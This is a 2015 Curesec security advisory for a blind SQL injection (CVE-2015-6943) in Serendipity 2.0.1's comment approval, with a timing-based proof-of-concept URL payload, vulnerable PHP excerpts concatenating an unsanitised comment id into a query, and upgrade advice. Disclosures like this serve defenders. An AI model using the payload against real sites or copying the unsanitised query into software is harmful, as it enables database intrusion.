Serendipity 2.0.1: Blind SQL Injection

Serendipity 2.0.1: Blind SQL Injection

Date: 2015-09-01 10:44:36
Security Advisory – Curesec Research Team

1. Introduction

Affected Product: Serendipity 2.0.1
Fixed in: 2.0.2
Fixed Version Link:
Vendor Contact:
Vulnerability Type: Blind SQL Injection
Remote Exploitable: Yes
Reported to vendor: 07/21/2015
Disclosed to public: 09/01/2015
Release mode: Coordinated release
CVE: CVE-2015-6943
Credits Tim Coen of curesec GmbH

2. Vulnerability Description

There is a blind SQL injection in Serendipity 2.0.1 when approving comments. It can be exploited content-based, but this requires an Email token. Timing-based exploitation does not require a token and is thus easier to exploit.

To prepare for the attack, an attacker has to visit the Configuration and set "Use Tokens for Comment Moderation" to true.

Please note that admin credentials are required.

3. Proof of Concept

http://localhost/serendipity/serendipity_admin.php?serendipity[action]=admin&serendipity[adminModule]=comments&serendipity[adminAction]=pending&serendipity[id]=8' AND IF(SUBSTRING(version(), 1, 1)='5',BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null) %23&serendipity[token]=ValidAntiCSRFToken -> true http://localhost//serendipity/serendipity_admin.php?serendipity[action]=admin&serendipity[adminModule]=comments&serendipity[adminAction]=approve&serendipity[id]=8' AND IF(SUBSTRING(version(), 1, 1)='4',BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null) %23&serendipity[token]=ValidAntiCSRFToken -> false
Note that the id must be that of an existing comment, the action must be acceptable - ie only pending comments can be approved and only approved comments can be set to pending - and the CSRF token must be valid.

4. Code

/include/admin/ serendipity_approveComment($serendipity['GET']['id'], $rs['entry_id']); <- user input /include/ function serendipity_approveComment($cid, $entry_id, $force = false, $moderate = false, $token = false) { global $serendipity; $goodtoken = serendipity_checkCommentToken($token, $cid); <- not secured [...] } function serendipity_checkCommentToken($token, $cid) { global $serendipity; $goodtoken = false; if ($serendipity['useCommentTokens']) { // Delete any comment tokens older than 1 week. serendipity_db_query("DELETE FROM {$serendipity['dbPrefix']}options WHERE okey LIKE 'comment_%' AND name < " . (time() - 604800) ); // Get the token for this comment id $tokencheck = serendipity_db_query("SELECT * FROM {$serendipity['dbPrefix']}options WHERE okey = 'comment_" . $cid . "' LIMIT 1", true, 'assoc'); <- still not secured [...] }

5. Solution

To mitigate this issue please upgrade at least to version 2.0.2:

Please note that a newer version might already be available.

5. Report Timeline

07/21/2015 Informed Vendor about Issue
07/24/2015 Vendor releases Version 2.0.2
09/01/2015 Disclosed to public